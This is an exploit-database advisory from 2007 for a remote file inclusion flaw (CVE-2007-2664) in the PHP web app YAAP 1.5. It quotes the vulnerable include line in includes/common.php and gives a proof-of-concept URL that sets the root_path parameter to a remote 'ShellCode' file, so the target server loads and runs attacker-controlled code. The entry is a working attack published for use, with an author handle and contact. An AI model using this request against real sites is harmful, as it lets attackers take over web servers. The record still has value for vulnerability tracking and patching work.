YAAP 1.5 - '__autoload()' Remote File Inclusion

Author: 3l3ctric-Cracker
type: webapps
platform: php
port: 
date_added: 2007-05-11  
date_updated:   
verified: 1  
codes: OSVDB-36060;CVE-2007-2664  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 3908.txt  
--------------------------------------------------------------------------------
Script name.......:Yaap
Affected Version.....:1.5
D.page..:http://yaap.oskbraniewo.pl/download/yaap_15.tar.gz
--------------------------------------------------------------------------------
Author:3l3ctric-Cracker  (Dr Max Virus) :D
Contact:drmaxvirus@w.cn
--------------------------------------------------------------------------------
Bug in:\public_html\includes\common.php
Vul Code:
include_once($root_path.'/classes/'.$class_name.'.php');
----------------------------------------------------------------------------------
POC:
http:[target]/[path]/includes/common.php?root_path=ShellCode
-----------------------------------------------------------------------------------

# milw0rm.com [2007-05-12]